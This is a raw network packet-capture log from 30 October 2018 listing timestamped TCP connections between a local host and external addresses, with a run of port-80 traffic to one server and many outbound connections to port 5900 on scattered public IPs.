Oct 30, 2018 14:45:13.547445059 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547512054 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.547529936 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547579050 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547605991 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547630072 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547655106 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547678947 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547703028 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547708035 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.547727108 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547751904 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547775030 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547799110 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547822952 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547846079 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547852039 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.547869921 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547894955 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547918081 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547941923 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547966003 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547990084 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548013926 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548038006 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548062086 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548070908 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.548085928 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548132896 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548170090 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548203945 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548237085 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548257113 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.548261881 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548285961 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548310041 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548332930 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548357010 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548381090 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548404932 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548428059 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548439026 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.548451900 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548476934 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548501015 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548523903 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.548573971 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.558444977 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.568185091 CET	51484	5900	192.168.1.81	107.111.70.77
Oct 30, 2018 14:45:13.580702066 CET	51596	5900	192.168.1.81	174.46.105.102
Oct 30, 2018 14:45:13.580965042 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.581001043 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.581022978 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.581047058 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.581067085 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.581070900 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.581305027 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.583827019 CET	51485	5900	192.168.1.81	202.93.212.206
Oct 30, 2018 14:45:13.602857113 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.602893114 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.602982998 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.611830950 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.611866951 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.611881018 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.611891985 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.611917019 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.611989021 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.612040997 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612096071 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.612107992 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612190962 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612231016 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612277031 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612278938 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.612327099 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612361908 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612386942 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612391949 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.612426043 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612474918 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612497091 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.612502098 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612586021 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612612963 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612653971 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612654924 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.612685919 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612720013 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612741947 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.612745047 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612787008 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612821102 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612845898 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612845898 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.612890005 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612915039 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612938881 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612962008 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.612965107 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.612987041 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613010883 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613034964 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613044977 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613059044 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613082886 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613106012 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613117933 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613130093 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613153934 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613178015 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613183975 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613203049 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613226891 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613250017 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613262892 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613275051 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613298893 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613322973 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613342047 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613346100 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613370895 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613394022 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613418102 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613425970 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613441944 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613466024 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613490105 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613501072 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613512993 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613537073 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613560915 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613568068 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613585949 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613610029 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613634109 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613645077 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613657951 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613682032 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613706112 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613723993 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613729954 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613754034 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613778114 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613801956 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613814116 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613825083 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613850117 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613873005 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613881111 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613897085 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613920927 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613945007 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613964081 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.613969088 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.613992929 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.614016056 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.614062071 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.623646975 CET	51597	5900	192.168.1.81	117.81.5.81
Oct 30, 2018 14:45:13.630749941 CET	51486	5900	192.168.1.81	166.231.118.78
Oct 30, 2018 14:45:13.635538101 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.635648966 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.662174940 CET	51487	5900	192.168.1.81	109.3.21.85
Oct 30, 2018 14:45:13.662802935 CET	51598	5900	192.168.1.81	67.204.97.21
Oct 30, 2018 14:45:13.693654060 CET	51488	5900	192.168.1.81	166.226.48.158
Oct 30, 2018 14:45:13.709243059 CET	51489	5900	192.168.1.81	181.150.134.247
Oct 30, 2018 14:45:13.711615086 CET	51599	5900	192.168.1.81	106.50.138.216
Oct 30, 2018 14:45:13.740772963 CET	51600	5900	192.168.1.81	140.84.153.70
Oct 30, 2018 14:45:13.775331020 CET	5900	51555	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:13.775414944 CET	51555	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:13.780791044 CET	5900	51592	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:13.780885935 CET	51592	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:13.784626007 CET	51601	5900	192.168.1.81	203.181.231.222
Oct 30, 2018 14:45:13.796416044 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.796509027 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.818295002 CET	51490	5900	192.168.1.81	116.44.185.207
Oct 30, 2018 14:45:13.818355083 CET	51491	5900	192.168.1.81	87.226.104.202
Oct 30, 2018 14:45:13.818370104 CET	51492	5900	192.168.1.81	144.136.159.95
Oct 30, 2018 14:45:13.829416037 CET	51602	5900	192.168.1.81	117.228.246.39
Oct 30, 2018 14:45:13.844806910 CET	51493	5900	192.168.1.81	58.132.120.104
Oct 30, 2018 14:45:13.848181963 CET	51603	5900	192.168.1.81	79.46.18.222
Oct 30, 2018 14:45:13.876559973 CET	51604	5900	192.168.1.81	78.92.100.102
Oct 30, 2018 14:45:13.912435055 CET	51494	5900	192.168.1.81	147.67.221.171
Oct 30, 2018 14:45:13.912502050 CET	51558	5900	192.168.1.81	154.147.58.161
Oct 30, 2018 14:45:13.917143106 CET	51605	5900	192.168.1.81	43.123.150.41
Oct 30, 2018 14:45:13.931024075 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.948312998 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.948427916 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.986161947 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.986206055 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.986212969 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.986251116 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.986275911 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.986299992 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.986319065 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.986324072 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.986346960 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.986371040 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.986416101 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.987917900 CET	51496	5900	192.168.1.81	55.155.80.252
Oct 30, 2018 14:45:13.987970114 CET	51497	5900	192.168.1.81	200.33.29.115
Oct 30, 2018 14:45:14.003230095 CET	5900	51558	154.147.58.161	192.168.1.81
Oct 30, 2018 14:45:14.021537066 CET	51498	5900	192.168.1.81	137.159.122.160
Oct 30, 2018 14:45:14.068429947 CET	51499	5900	192.168.1.81	62.132.12.244
Oct 30, 2018 14:45:14.074707031 CET	5900	51592	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:14.086391926 CET	51592	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:14.093374014 CET	51606	5900	192.168.1.81	95.79.168.151
Oct 30, 2018 14:45:14.099925041 CET	51500	5900	192.168.1.81	33.130.203.175
Oct 30, 2018 14:45:14.146245956 CET	51501	5900	192.168.1.81	151.126.249.14
Oct 30, 2018 14:45:14.177988052 CET	51502	5900	192.168.1.81	36.199.124.240
Oct 30, 2018 14:45:14.256669998 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.256783962 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:14.287677050 CET	51503	5900	192.168.1.81	200.228.83.112
Oct 30, 2018 14:45:14.287723064 CET	51504	5900	192.168.1.81	143.252.90.23
Oct 30, 2018 14:45:14.287740946 CET	51505	5900	192.168.1.81	175.9.102.123
Oct 30, 2018 14:45:14.300476074 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.300558090 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:14.381011009 CET	51506	5900	192.168.1.81	121.185.122.74
Oct 30, 2018 14:45:14.381076097 CET	51507	5900	192.168.1.81	137.66.9.110
Oct 30, 2018 14:45:14.381102085 CET	51508	5900	192.168.1.81	120.78.128.134
Oct 30, 2018 14:45:14.381896973 CET	5900	51592	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:14.381923914 CET	5900	51592	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:14.381992102 CET	51592	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:14.382036924 CET	51592	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:14.459474087 CET	51592	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:14.487286091 CET	51511	5900	192.168.1.81	170.247.163.90
Oct 30, 2018 14:45:14.487318993 CET	51512	5900	192.168.1.81	105.24.251.254
Oct 30, 2018 14:45:14.487335920 CET	51513	5900	192.168.1.81	54.64.87.238
Oct 30, 2018 14:45:14.584191084 CET	51514	5900	192.168.1.81	202.42.48.47
Oct 30, 2018 14:45:14.584254980 CET	51515	5900	192.168.1.81	70.14.104.84
Oct 30, 2018 14:45:14.584274054 CET	51516	5900	192.168.1.81	180.243.130.150
Oct 30, 2018 14:45:14.612245083 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.612339020 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:14.677233934 CET	5900	51592	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:14.677371979 CET	51592	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:14.677826881 CET	51517	5900	192.168.1.81	83.80.182.241
Oct 30, 2018 14:45:14.677881956 CET	51518	5900	192.168.1.81	62.108.72.157
Oct 30, 2018 14:45:14.677900076 CET	51519	5900	192.168.1.81	183.75.126.241
Oct 30, 2018 14:45:14.715012074 CET	51607	5900	192.168.1.81	177.138.148.168
Oct 30, 2018 14:45:14.786971092 CET	51520	5900	192.168.1.81	163.61.182.60
Oct 30, 2018 14:45:14.787033081 CET	51521	5900	192.168.1.81	88.23.45.23
Oct 30, 2018 14:45:14.787050962 CET	51522	5900	192.168.1.81	204.96.78.69
Oct 30, 2018 14:45:14.820138931 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.820229053 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:14.881223917 CET	51523	5900	192.168.1.81	64.191.184.147
Oct 30, 2018 14:45:14.881261110 CET	51524	5900	192.168.1.81	149.138.26.57
Oct 30, 2018 14:45:14.881278038 CET	51526	5900	192.168.1.81	58.59.13.159
Oct 30, 2018 14:45:14.913425922 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:14.969177008 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969238997 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969280005 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969300032 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:14.969322920 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969362020 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969397068 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969410896 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:14.969497919 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969531059 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969573021 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969587088 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:14.969604015 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:14.969671965 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:14.990775108 CET	51527	5900	192.168.1.81	206.177.128.131
Oct 30, 2018 14:45:14.990819931 CET	51528	5900	192.168.1.81	55.1.133.125
Oct 30, 2018 14:45:14.990837097 CET	51529	5900	192.168.1.81	147.50.94.60
Oct 30, 2018 14:45:14.990852118 CET	51530	5900	192.168.1.81	33.179.183.142
Oct 30, 2018 14:45:15.025541067 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.025585890 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.025614023 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.025705099 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.025737047 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.025760889 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.025841951 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.025876999 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.025907993 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.025957108 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.025988102 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026031017 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026031971 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026057005 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026072979 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026077032 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026108027 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026138067 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026141882 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026164055 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026181936 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026216030 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026249886 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026252985 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026271105 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026288033 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026307106 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026338100 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026367903 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026376963 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026398897 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026400089 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026416063 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.026428938 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.026432991 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.031496048 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.031522989 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.031541109 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.039037943 CET	5900	51509	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:15.084332943 CET	51532	5900	192.168.1.81	72.245.123.140
Oct 30, 2018 14:45:15.084378958 CET	51533	5900	192.168.1.81	63.208.7.115
Oct 30, 2018 14:45:15.084395885 CET	51534	5900	192.168.1.81	197.60.75.145
Oct 30, 2018 14:45:15.086294889 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.086376905 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.086812973 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.086867094 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.086894989 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.086945057 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.086977959 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.087054968 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.087081909 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.087148905 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.087204933 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.087209940 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.087253094 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.087284088 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.087316036 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.087341070 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.087346077 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.087377071 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.087407112 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.087455034 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.091733932 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.091800928 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.091806889 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.091834068 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.091901064 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.146457911 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.146615028 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.146826982 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.146883011 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:15.147063971 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.147092104 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:15.147109985 CET	51559	80	192.168.1.81	92.63.197.48
